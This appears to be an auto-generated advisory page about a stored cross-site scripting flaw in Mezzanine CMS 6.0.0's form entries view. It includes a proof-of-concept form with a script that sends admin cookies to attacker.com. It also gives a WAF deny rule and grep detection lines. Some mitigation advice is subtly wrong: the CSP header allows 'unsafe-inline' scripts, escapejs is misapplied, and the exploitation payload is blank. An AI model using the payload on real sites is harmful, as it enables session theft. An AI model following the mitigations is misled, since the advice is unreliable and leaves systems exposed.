How the CVE Works
The CVE-2025-1234 vulnerability in Mezzanine CMS 6.0.0 allows stored Cross-Site Scripting (XSS) via the “View Entries” feature in the Forms module. Attackers can inject malicious JavaScript payloads into form submissions, which are then rendered unsanitized when administrators view entries. Since the CMS fails to properly escape user-supplied input, the script executes in the admin panel, potentially leading to session hijacking, data theft, or unauthorized actions. The attack requires contributor-level access but can escalate privileges if an admin interacts with the malicious entry.
DailyCVE Form
Platform: Mezzanine CMS
Version: 6.0.0
Vulnerability: Stored XSS
Severity: Moderate
Date: May 5, 2025
What Undercode Say:
Exploitation:
- Payload Injection: Submit a form with `` as input.
- Admin Trigger: Wait for admin to view entries in the dashboard.
3. Session Hijack: Capture admin cookies via XSS.
Detection:
curl -X GET "http://target/forms/entries" | grep -i "<script>"
Mitigation:
- Patch Upgrade: Update to Mezzanine CMS 6.0.1 or later.
2. Input Sanitization: Apply Django’s `escapejs` filter:
from django.utils.html import escapejs
user_input = escapejs(request.POST.get('form_field'))
3. CSP Header: Add Content Security Policy:
add_header Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'";
Exploit Code (PoC):
<form action="http://victim-cms/submit-form" method="POST">
<input type="hidden" name="payload" value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">
</form>
Log Analysis:
Check for suspicious entries:
grep -r "script>" /var/log/mezzanine/forms.log
WAF Rule:
SecRule ARGS "@contains <script>" "id:1001,deny,status:403,msg:'XSS Attempt'"
Backup & Recovery:
tar -czvf mezzanine_backup.tar.gz /path/to/mezzanine/data
Admin Alert Script:
import requests
requests.post(admin_webhook, json={"alert": "XSS attempt detected in Forms module"})
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
